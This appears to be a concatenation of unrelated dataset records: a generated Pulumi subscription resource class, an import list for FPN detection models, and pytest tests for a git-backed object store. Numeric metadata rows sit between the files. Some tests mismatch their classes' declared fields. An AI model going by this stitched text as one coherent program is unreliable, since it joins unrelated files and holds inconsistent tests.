pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, channel: Optional[pulumi.Input[str]] = None, contact_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, description: Optional[pulumi.Input[str]] = None, email_status: Optional[pulumi.Input[int]] = None, item_name: Optional[pulumi.Input[str]] = None, pmsg_status: Optional[pulumi.Input[int]] = None, sms_status: Optional[pulumi.Input[int]] = None, tts_status: Optional[pulumi.Input[int]] = None, webhook_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, webhook_status: Optional[pulumi.Input[int]] = None) -> 'MscSubSubscription': """ Get an existing MscSubSubscription resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] channel: The channel the Subscription. :param pulumi.Input[Sequence[pulumi.Input[str]]] contact_ids: The ids of subscribed contacts. :param pulumi.Input[str] description: The description of the Subscription. :param pulumi.Input[int] email_status: The status of email subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[str] item_name: The name of the Subscription. **NOTE:** You should use the `getMscSubSubscriptions` to query the available subscription item name. :param pulumi.Input[int] pmsg_status: The status of pmsg subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[int] sms_status: The status of sms subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[int] tts_status: The status of tts subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[Sequence[pulumi.Input[str]]] webhook_ids: The ids of subscribed webhooks. :param pulumi.Input[int] webhook_status: The status of webhook subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _MscSubSubscriptionState.__new__(_MscSubSubscriptionState) __props__.__dict__["channel"] = channel __props__.__dict__["contact_ids"] = contact_ids __props__.__dict__["description"] = description __props__.__dict__["email_status"] = email_status __props__.__dict__["item_name"] = item_name __props__.__dict__["pmsg_status"] = pmsg_status __props__.__dict__["sms_status"] = sms_status __props__.__dict__["tts_status"] = tts_status __props__.__dict__["webhook_ids"] = webhook_ids __props__.__dict__["webhook_status"] = webhook_status return MscSubSubscription(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def channel(self) -> pulumi.Output[str]: """ The channel the Subscription. """ return pulumi.get(self, "channel") @property @pulumi.getter(name="contactIds") def contact_ids(self) -> pulumi.Output[Sequence[str]]: """ The ids of subscribed contacts. """ return pulumi.get(self, "contact_ids") @property @pulumi.getter def description(self) -> pulumi.Output[str]: """ The description of the Subscription. """ return pulumi.get(self, "description") @property @pulumi.getter(name="emailStatus") def email_status(self) -> pulumi.Output[Optional[int]]: """ The status of email subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "email_status") @property @pulumi.getter(name="itemName") def item_name(self) -> pulumi.Output[str]: """ The name of the Subscription. **NOTE:** You should use the `getMscSubSubscriptions` to query the available subscription item name. """ return pulumi.get(self, "item_name") @property @pulumi.getter(name="pmsgStatus") def pmsg_status(self) -> pulumi.Output[Optional[int]]: """ The status of pmsg subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "pmsg_status") @property @pulumi.getter(name="smsStatus") def sms_status(self) -> pulumi.Output[Optional[int]]: """ The status of sms subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "sms_status") @property @pulumi.getter(name="ttsStatus") def tts_status(self) -> pulumi.Output[Optional[int]]: """ The status of tts subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "tts_status") @property @pulumi.getter(name="webhookIds") def webhook_ids(self) -> pulumi.Output[Optional[Sequence[str]]]: """ The ids of subscribed webhooks. """ return pulumi.get(self, "webhook_ids") @property @pulumi.getter(name="webhookStatus") def webhook_status(self) -> pulumi.Output[Optional[int]]: """ The status of webhook subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "webhook_status")
47.619048
208
0.633036
3,378
28,000
5.057726
0.052694
0.094001
0.085631
0.057946
0.881651
0.870471
0.853614
0.84899
0.835587
0.801639
0
0.014095
0.237321
28,000
587
209
47.70017
0.785952
0.384786
0
0.771605
1
0
0.091398
0.004684
0
0
0
0
0
1
0.16358
false
0.003086
0.015432
0
0.277778
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
7a6a65e70fd09775f9a0bb7caa4e1ccd2369aa5c
554
py
Python
fpn/symbols/__init__.py
qilei123/fpn_crop_v2_4d
fb0562e31a33d6065d1e6978248b9a9bd01932ef
[ "MIT" ]
null
null
null
fpn/symbols/__init__.py
qilei123/fpn_crop_v2_4d
fb0562e31a33d6065d1e6978248b9a9bd01932ef
[ "MIT" ]
null
null
null
fpn/symbols/__init__.py
qilei123/fpn_crop_v2_4d
fb0562e31a33d6065d1e6978248b9a9bd01932ef
[ "MIT" ]
null
null
null
import resnet_v1_101_fpn_rcnn import resnet_v1_101_fpn_dcn_rcnn import resnet_v1_101_fpn_rcnn_l1 import resnet_v1_101_fpn_rcnn_l0 import resnet_v1_101_fpn_dcn_rcnn_l0 import resnet_v1_101_fpn_dcn_rcnn_l1 import resnet_unet_rcnn_l0 import resnet_v1_50_fpn_rcnn_l0 import vgg_16_fpn_rcnn_l0 import resnet_v1_101_fpn_rcnn_l2_focal import resnet_v1_101_fpn_rcnn_l0_focal import resnet_v1_101_fpn_dcn_rcnn_l0_focal import resnet_v1_50_fpn_rcnn_l0_focal import resnet_v1_101_fpn_dcn_rcnn_l2_focal import vgg_16_fpn_rcnn_l0_focal import vgg_16_fpn_rcnn_l1_focal
34.625
42
0.944043
117
554
3.74359
0.128205
0.356164
0.383562
0.388128
0.929224
0.915525
0.639269
0.406393
0.328767
0.187215
0
0.126195
0.055957
554
16
43
34.625
0.711281
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
8fb58b2d218462c7ae4289cd4559ca6be9178f99
156
py
Python
tests/unit_tests/test_config/__init__.py
yardencsGitHub/vak
04da97b02ded5acccab437c2538d0a1ded3bef80
[ "BSD-3-Clause" ]
1
2021-04-27T01:22:38.000Z
2021-04-27T01:22:38.000Z
tests/unit_tests/test_config/__init__.py
yardencsGitHub/vak
04da97b02ded5acccab437c2538d0a1ded3bef80
[ "BSD-3-Clause" ]
null
null
null
tests/unit_tests/test_config/__init__.py
yardencsGitHub/vak
04da97b02ded5acccab437c2538d0a1ded3bef80
[ "BSD-3-Clause" ]
null
null
null
from . import test_parse from . import test_predict from . import test_prep from . import test_spect from . import test_train from . import test_validators
22.285714
29
0.807692
24
156
5
0.375
0.5
0.7
0
0
0
0
0
0
0
0
0
0.153846
156
6
30
26
0.909091
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
8f0c475d6dc6d60512afdcf07f6b4eef38a5dc73
27,041
py
Python
sakdb/tests/tests_sakdb_storage.py
ferwitt/sakdb
1eaf920efea8897515cc1a6df7d78b7475b50694
[ "MIT" ]
null
null
null
sakdb/tests/tests_sakdb_storage.py
ferwitt/sakdb
1eaf920efea8897515cc1a6df7d78b7475b50694
[ "MIT" ]
null
null
null
sakdb/tests/tests_sakdb_storage.py
ferwitt/sakdb
1eaf920efea8897515cc1a6df7d78b7475b50694
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: UTF-8 -*- __author__ = "Fernando Witt" __credits__ = ["Fernando Witt"] __license__ = "MIT" __maintainer__ = "Fernando Witt" __email__ = "ferawitt@gmail.com" import subprocess import tempfile from pathlib import Path from typing import Any, Dict, List import pytest from sakdb.sakdb_storage import VERSION, SakDbGraph, SakDbNamespaceGit, SakDbObject class DBObjectInt(SakDbObject): my_int: int class DBObjectString(SakDbObject): my_string: str class DBObjectDict(SakDbObject): my_dict: Dict[str, Any] class DBObjectList(SakDbObject): my_list: List[int] class DBObjectTwoFields(SakDbObject): my_bool: bool my_string: str def run(cmd: List[str], cwd: str) -> None: subprocess.run(cmd, check=True, cwd=cwd) def run_getoutput(cmd: List[str], cwd: str) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, cwd=cwd) return p.stdout.strip().decode("utf-8") def test_create_repository() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: # When. g = SakDbGraph() n = SakDbNamespaceGit(g, "data", Path(tmpdirname), "master") # Then. assert n.repo.is_bare is True def test_already_created_repository() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: subprocess.run(["git", "init", tmpdirname], check=True) # When. g = SakDbGraph() n = SakDbNamespaceGit(g, "data", Path(tmpdirname), "master") # Then. assert n.repo.is_bare is False def test_repository_version() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g = SakDbGraph() n = SakDbNamespaceGit(g, "data", Path(tmpdirname), "master") # When. version = n.get_version() # Then. assert version == VERSION def test_repository_version_compatibility() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g = SakDbGraph() n = SakDbNamespaceGit(g, "data", Path(tmpdirname), "master") # When. ret1 = n._validate_version( ".".join([str(int(x) + 1) for x in VERSION.split(".")]) ) ret2 = n._validate_version(VERSION) ret3 = n._validate_version( ".".join([str(min(int(x) - 1, 0)) for x in VERSION.split(".")]) ) # Then. assert ret1 is False assert ret2 is True assert ret3 is True def test_int_increment() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectInt) with g_a.session(): a = DBObjectInt(n_a, my_int=42) assert a.my_int == 42 # When. with g_a.session(): a.my_int += 1 # Then. assert a.my_int == 43 def test_rollback() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectInt) with g_a.session(): # When. a = DBObjectInt(n_a, my_int=42) # Then. assert a.my_int == 42 assert a.my_int == 42 with g_a.session() as s: # When. a.my_int = 11 # Then. assert a.my_int == 11 # When. s.rollback() # Then. assert a.my_int == 42 assert a.my_int == 42 def test_rollback_after_commit() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectInt) with g_a.session(): # When. a = DBObjectInt(n_a, my_int=42) # Then. assert a.my_int == 42 assert a.my_int == 42 with g_a.session() as s: # When. a.my_int = 11 s.commit() # Then. assert a.my_int == 11 # When. s.rollback() # Then. assert a.my_int == 42 assert a.my_int == 42 def test_rollback_exception_in_session() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectInt) with g_a.session(): # When. a = DBObjectInt(n_a, my_int=42) # Then. assert a.my_int == 42 assert a.my_int == 42 with pytest.raises(Exception): with g_a.session() as s: # When. a.my_int = 11 s.commit() # Then. assert a.my_int == 11 # When. raise Exception("Something really bad happened.") # Then. assert a.my_int == 42 def test_two_fields() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectTwoFields) with g_a.session(): # When. a = DBObjectTwoFields(n_a) a.my_int = 11 a.my_string = "foo" # Then. assert a.my_int == 11 assert a.my_string == "foo" assert a.my_int == 11 assert a.my_string == "foo" def test_write_a_read_b_int() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectInt) with g_a.session() as _: a = DBObjectInt(n_a, my_int=42) # When. g_b = SakDbGraph() g_b.register_class(DBObjectInt) with g_b.session() as _: n_b = SakDbNamespaceGit(g_b, "data", Path(tmpdirname), "master") b = DBObjectInt(n_b, a.key) # Then. assert a.my_int == 42 assert b.my_int == 42 def test_write_a_read_b_string() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectString) with g_a.session(): a = DBObjectString(n_a, my_string="helloWorld") # When. g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(tmpdirname), "master") g_b.register_class(DBObjectString) b = DBObjectString(n_b, a.key) # Then. assert a.my_string == "helloWorld" assert b.my_string == "helloWorld" def test_string_append() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectString) with g_a.session(): a = DBObjectString(n_a, my_string="helloWorld") assert a.my_string == "helloWorld" # When. with g_a.session(): a.my_string += "!" # Then. assert a.my_string == "helloWorld!" def test_wrwite_a_read_b_list() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectList) with g_a.session(): a = DBObjectList(n_a, my_list=[2, 3, 1, 5]) # When. g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(tmpdirname), "master") g_b.register_class(DBObjectList) b = DBObjectList(n_b, a.key) # Then. assert a.my_list[0] == 2 assert a.my_list[1] == 3 assert a.my_list[2] == 1 assert a.my_list[3] == 5 assert len(a.my_list) == 4 assert b.my_list[0] == 2 assert b.my_list[1] == 3 assert b.my_list[2] == 1 assert b.my_list[3] == 5 assert len(b.my_list) == 4 def test_list_editions() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectList) with g_a.session(): a = DBObjectList(n_a, my_list=[2, 3, 1, 5]) assert a.my_list[0] == 2 assert a.my_list[1] == 3 assert a.my_list[2] == 1 assert a.my_list[3] == 5 assert len(a.my_list) == 4 # When. with g_a.session(): a.my_list.append(42) # Then. assert a.my_list[0] == 2 assert a.my_list[1] == 3 assert a.my_list[2] == 1 assert a.my_list[3] == 5 assert a.my_list[4] == 42 assert len(a.my_list) == 5 # When. with g_a.session(): a.my_list += [100] # Then. assert a.my_list[0] == 2 assert a.my_list[1] == 3 assert a.my_list[2] == 1 assert a.my_list[3] == 5 assert a.my_list[4] == 42 assert a.my_list[5] == 100 assert len(a.my_list) == 6 # When. with g_a.session(): a.my_list[5] = 101 # Then. assert a.my_list[0] == 2 assert a.my_list[1] == 3 assert a.my_list[2] == 1 assert a.my_list[3] == 5 assert a.my_list[4] == 42 assert a.my_list[5] == 101 assert len(a.my_list) == 6 def test_write_a_read_b_dict() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectDict) with g_a.session(): a = DBObjectDict(n_a, my_dict={"foo": 1, "bar": "hey"}) # When. g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(tmpdirname), "master") g_b.register_class(DBObjectDict) b = DBObjectDict(n_b, a.key) # Then. assert a.my_dict["foo"] == 1 assert a.my_dict["bar"] == "hey" assert len(a.my_dict) == 2 assert b.my_dict["foo"] == 1 assert b.my_dict["bar"] == "hey" assert len(b.my_dict) == 2 def test_dict_edit() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectDict) with g_a.session(): a = DBObjectDict(n_a, my_dict={"foo": 1, "bar": "hey"}) assert a.my_dict["foo"] == 1 assert a.my_dict["bar"] == "hey" assert len(a.my_dict) == 2 # When. with g_a.session(): a.my_dict["hello"] = "world" # Then. assert a.my_dict["foo"] == 1 assert a.my_dict["bar"] == "hey" assert a.my_dict["hello"] == "world" assert len(a.my_dict) == 3 # When. with g_a.session(): a.my_dict.pop("foo") # Then. assert a.my_dict["bar"] == "hey" assert a.my_dict["hello"] == "world" assert len(a.my_dict) == 2 # When. with g_a.session(): a.my_dict.update({"one_float": 1.23, "one_bool": True}) # Then. assert a.my_dict["one_float"] == 1.23 assert a.my_dict["one_bool"] is True assert a.my_dict["bar"] == "hey" assert a.my_dict["hello"] == "world" assert len(a.my_dict) == 4 def test_list_pop_middle() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(tmpdirname), "master") g_a.register_class(DBObjectList) with g_a.session(): a = DBObjectList(n_a, my_list=[2, 3, 1, 5]) assert a.my_list[0] == 2 assert a.my_list[1] == 3 assert a.my_list[2] == 1 assert a.my_list[3] == 5 assert len(a.my_list) == 4 # When. with g_a.session(): a.my_list.pop(2) # Then. assert a.my_list[0] == 2 assert a.my_list[1] == 3 assert a.my_list[2] == 5 assert len(a.my_list) == 3 # When. g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(tmpdirname), "master") g_b.register_class(DBObjectList) b = DBObjectList(n_b, a.key) # Then. assert b.my_list[0] == 2 assert b.my_list[1] == 3 assert b.my_list[2] == 5 assert len(b.my_list) == 3 def test_sync_string() -> None: with tempfile.TemporaryDirectory() as tmpdirname: # Given. dirA = Path(tmpdirname) / "dirA" dirB = Path(tmpdirname) / "dirB" dirA.mkdir() dirB.mkdir() g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(dirA), "master") g_a.register_class(DBObjectString) with g_a.session(): a = DBObjectString(n_a, my_string="helloWorld") g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(dirB), "master") g_b.register_class(DBObjectString) # When n_a.add_remote("origin", str(dirB)) n_b.add_remote("origin", str(dirA)) n_a.sync() n_b.sync() b = DBObjectString(n_b, a.key) # Then. assert a.my_string == "helloWorld" assert b.my_string == "helloWorld" def test_sync_list() -> None: with tempfile.TemporaryDirectory() as tmpdirname: # Given. dirA = Path(tmpdirname) / "dirA" dirB = Path(tmpdirname) / "dirB" dirA.mkdir() dirB.mkdir() g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(dirA), "master") g_a.register_class(DBObjectList) with g_a.session(): a = DBObjectList(n_a, my_list=[2, 1, 3]) g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(dirB), "master") g_b.register_class(DBObjectList) # When n_a.add_remote("origin", str(dirB)) n_b.add_remote("origin", str(dirA)) n_a.sync() n_b.sync() b = DBObjectList(n_b, a.key) # Then. assert a.my_list[0] == 2 assert a.my_list[1] == 1 assert a.my_list[2] == 3 assert b.my_list[0] == 2 assert b.my_list[1] == 1 assert b.my_list[2] == 3 def test_sync_dict() -> None: # Given. with tempfile.TemporaryDirectory() as tmpdirname: # Given. dirA = Path(tmpdirname) / "dirA" dirB = Path(tmpdirname) / "dirB" dirA.mkdir() dirB.mkdir() g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(dirA), "master") g_a.register_class(DBObjectDict) with g_a.session(): a = DBObjectDict(n_a, my_dict={"foo": 1, "bar": "hey"}) g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(dirB), "master") g_b.register_class(DBObjectDict) # When n_a.add_remote("origin", str(dirB)) n_b.add_remote("origin", str(dirA)) n_a.sync() n_b.sync() b = DBObjectDict(n_b, a.key) # Then. assert a.my_dict["foo"] == 1 assert a.my_dict["bar"] == "hey" assert len(a.my_dict) == 2 assert b.my_dict["foo"] == 1 assert b.my_dict["bar"] == "hey" assert len(b.my_dict) == 2 def test_sync_with_git_command_no_common_base() -> None: with tempfile.TemporaryDirectory() as tmpdirname: # Given. dirA = Path(tmpdirname) / "dirA" dirB = Path(tmpdirname) / "dirB" dirA.mkdir() dirB.mkdir() # Add object in first repo with my_string "helloWorld" g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(dirA), "master") g_a.register_class(DBObjectString) with g_a.session(): a = DBObjectString(n_a, my_string="helloWorld") assert a.my_string == "helloWorld" # Add the same object/key in another object with my_string "fooBar". g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(dirB), "master") g_b.register_class(DBObjectString) with g_b.session(): b = DBObjectString(n_b, a.key, my_string="fooBar") assert b.my_string == "fooBar" # When # Link the repositories with remotes. n_a.add_remote("origin", str(dirB)) n_b.add_remote("origin", str(dirA)) # Sync the repositories. The repo A is supposed to have trhe value from repo B now. n_a.sync() n_b.sync() n_a.sync() # Then. assert a.my_string == "fooBar" assert b.my_string == "fooBar" def test_sync_list_with_git_command_no_common_base() -> None: with tempfile.TemporaryDirectory() as tmpdirname: # Given. dirA = Path(tmpdirname) / "dirA" dirB = Path(tmpdirname) / "dirB" dirA.mkdir() dirB.mkdir() # Add object in first repo with my_list "helloWorld" g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(dirA), "master") g_a.register_class(DBObjectList) with g_a.session(): a = DBObjectList(n_a, my_list=[2, 1, 3]) assert a.my_list[0] == 2 assert a.my_list[1] == 1 assert a.my_list[2] == 3 assert len(a.my_list) == 3 # Add the same object/key in another object with my_list "fooBar". g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(dirB), "master") g_b.register_class(DBObjectList) with g_b.session(): b = DBObjectList(n_b, a.key, my_list=[5, 4, 6, 10]) assert b.my_list[0] == 5 assert b.my_list[1] == 4 assert b.my_list[2] == 6 assert b.my_list[3] == 10 assert len(b.my_list) == 4 # When # Link the repositories with remotes. n_a.add_remote("origin", str(dirB)) n_b.add_remote("origin", str(dirA)) # Sync the repositories. The repo A is supposed to have trhe value from repo B now. n_a.sync() n_b.sync() n_a.sync() n_b.sync() # Then. assert a.my_list[0] == 5 assert a.my_list[1] == 4 assert a.my_list[2] == 6 assert a.my_list[3] == 10 assert len(a.my_list) == 4 assert b.my_list[0] == 5 assert b.my_list[1] == 4 assert b.my_list[2] == 6 assert b.my_list[3] == 10 assert len(b.my_list) == 4 def test_sync_dict_with_git_command_no_common_base() -> None: with tempfile.TemporaryDirectory() as tmpdirname: # Given. dirA = Path(tmpdirname) / "dirA" dirB = Path(tmpdirname) / "dirB" dirA.mkdir() dirB.mkdir() # Add object in first repo with my_dict "helloWorld" g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(dirA), "master") g_a.register_class(DBObjectDict) with g_a.session(): a = DBObjectDict(n_a, my_dict={"foo": 1, "bar": "hey"}) assert a.my_dict["foo"] == 1 assert a.my_dict["bar"] == "hey" assert len(a.my_dict) == 2 # Add the same object/key in another object with my_dict "fooBar". g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(dirB), "master") g_b.register_class(DBObjectDict) with g_b.session(): b = DBObjectDict(n_b, a.key, my_dict={"foo": 2, "hello": "world"}) assert b.my_dict["foo"] == 2 assert b.my_dict["hello"] == "world" assert len(b.my_dict) == 2 # When # Link the repositories with remotes. n_a.add_remote("origin", str(dirB)) n_b.add_remote("origin", str(dirA)) # Sync the repositories. The repo A is supposed to have trhe value from repo B now. n_a.sync() n_b.sync() n_a.sync() n_b.sync() # Then. assert a.my_dict["foo"] == 2 assert a.my_dict["bar"] == "hey" assert a.my_dict["hello"] == "world" assert len(a.my_dict) == 3 assert b.my_dict["foo"] == 2 assert b.my_dict["bar"] == "hey" assert b.my_dict["hello"] == "world" assert len(b.my_dict) == 3 def test_sync_with_git_command_common_base() -> None: with tempfile.TemporaryDirectory() as tmpdirname: # Given. dirA = Path(tmpdirname) / "dirA" dirB = Path(tmpdirname) / "dirB" dirA.mkdir() dirB.mkdir() # Add object in first repo with my_string "helloWorld" g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(dirA), "master") g_a.register_class(DBObjectString) with g_a.session(): a = DBObjectString(n_a, my_string="helloWorld") assert a.my_string == "helloWorld" # Add the same object/key in another object with my_string "fooBar". g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(dirB), "master") g_b.register_class(DBObjectString) # Link the repositories with remotes. n_a.add_remote("origin", str(dirB)) n_b.add_remote("origin", str(dirA)) n_a.sync() n_b.sync() n_a.sync() n_b.sync() b = DBObjectString(n_b, a.key) assert b.my_string == "helloWorld" # When with g_a.session(): a.my_string = "changedA" with g_b.session(): b.my_string = "changedB" # Sync the repositories. The repo A is supposed to have trhe value from repo B now. n_a.sync() n_b.sync() n_a.sync() n_b.sync() # Then. assert a.my_string == "changedB" assert b.my_string == "changedB" def test_sync_list_with_git_command_common_base() -> None: with tempfile.TemporaryDirectory() as tmpdirname: # Given. dirA = Path(tmpdirname) / "dirA" dirB = Path(tmpdirname) / "dirB" dirA.mkdir() dirB.mkdir() # Add object in first repo with my_list "helloWorld" g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(dirA), "master") g_a.register_class(DBObjectString) with g_a.session(): a = DBObjectString(n_a, my_list=[2, 1, 3]) assert a.my_list[0] == 2 assert a.my_list[1] == 1 assert a.my_list[2] == 3 assert len(a.my_list) == 3 # Add the same object/key in another object with my_list "fooBar". g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(dirB), "master") g_b.register_class(DBObjectString) # When - Link the repositories with remotes. n_a.add_remote("origin", str(dirB)) n_b.add_remote("origin", str(dirA)) n_a.sync() n_b.sync() n_a.sync() n_b.sync() # Then. with g_b.session(): b = DBObjectList(n_b, a.key) assert b.my_list[0] == 2 assert b.my_list[1] == 1 assert b.my_list[2] == 3 assert len(b.my_list) == 3 # When. with g_a.session(): a.my_list = [] with g_b.session(): b.my_list = [1, 2] # Then. assert len(a.my_list) == 0 assert b.my_list[0] == 1 assert b.my_list[1] == 2 assert len(b.my_list) == 2 # When - Sync the repositories. The repo A is supposed to have trhe value from repo B now. n_a.sync() n_b.sync() n_a.sync() n_b.sync() # Then. assert a.my_list[0] == 1 assert a.my_list[1] == 2 assert len(a.my_list) == 2 assert b.my_list[0] == 1 assert b.my_list[1] == 2 assert len(b.my_list) == 2 # When. with g_a.session(): a.my_list = [3, 4, 5] with g_b.session(): b.my_list = [11, 22] # Then. assert a.my_list[0] == 3 assert a.my_list[1] == 4 assert a.my_list[2] == 5 assert len(a.my_list) == 3 assert b.my_list[0] == 11 assert b.my_list[1] == 22 assert len(b.my_list) == 2 # When - Sync the repositories. The repo A is supposed to have trhe value from repo B now. n_a.sync() n_b.sync() n_a.sync() n_b.sync() # Then. assert a.my_list[0] == 11 assert a.my_list[1] == 22 assert a.my_list[2] == 5 assert len(a.my_list) == 3 assert b.my_list[0] == 11 assert b.my_list[1] == 22 assert b.my_list[2] == 5 assert len(b.my_list) == 3 def test_sync_dict_with_git_command_common_base() -> None: with tempfile.TemporaryDirectory() as tmpdirname: # Given. dirA = Path(tmpdirname) / "dirA" dirB = Path(tmpdirname) / "dirB" dirA.mkdir() dirB.mkdir() # Add object in first repo with my_dict "helloWorld" g_a = SakDbGraph() n_a = SakDbNamespaceGit(g_a, "data", Path(dirA), "master") g_a.register_class(DBObjectDict) with g_a.session(): a = DBObjectDict(n_a, my_dict={"foo": 1, "bar": "hey"}) assert a.my_dict["foo"] == 1 assert a.my_dict["bar"] == "hey" assert len(a.my_dict) == 2 # Add the same object/key in another object with my_dict "fooBar". g_b = SakDbGraph() n_b = SakDbNamespaceGit(g_b, "data", Path(dirB), "master") g_b.register_class(DBObjectDict) # When # Link the repositories with remotes. n_a.add_remote("origin", str(dirB)) n_b.add_remote("origin", str(dirA)) # Sync the repositories. The repo A is supposed to have trhe value from repo B now. n_a.sync() n_b.sync() n_a.sync() n_b.sync() # Then. b = DBObjectDict(n_b, a.key) assert b.my_dict["foo"] == 1 assert b.my_dict["bar"] == "hey" assert len(b.my_dict) == 2 # When. with g_a.session(): a.my_dict = {"foo": 2, "hello": "world"} with g_b.session(): b.my_dict = {"foo": 3} n_a.sync() n_b.sync() n_a.sync() n_b.sync() # Then. assert a.my_dict["foo"] == 3 assert a.my_dict["hello"] == "world" assert len(a.my_dict) == 2 assert b.my_dict["foo"] == 3 assert b.my_dict["hello"] == "world" assert len(b.my_dict) == 2
26.151838
98
0.548833
3,642
27,041
3.871774
0.048051
0.035955
0.067655
0.048862
0.90561
0.875541
0.848025
0.834763
0.808099
0.803347
0
0.019866
0.32055
27,041
1,033
99
26.177154
0.747619
0.082282
0
0.798374
0
0
0.049188
0
0
0
0
0
0.326829
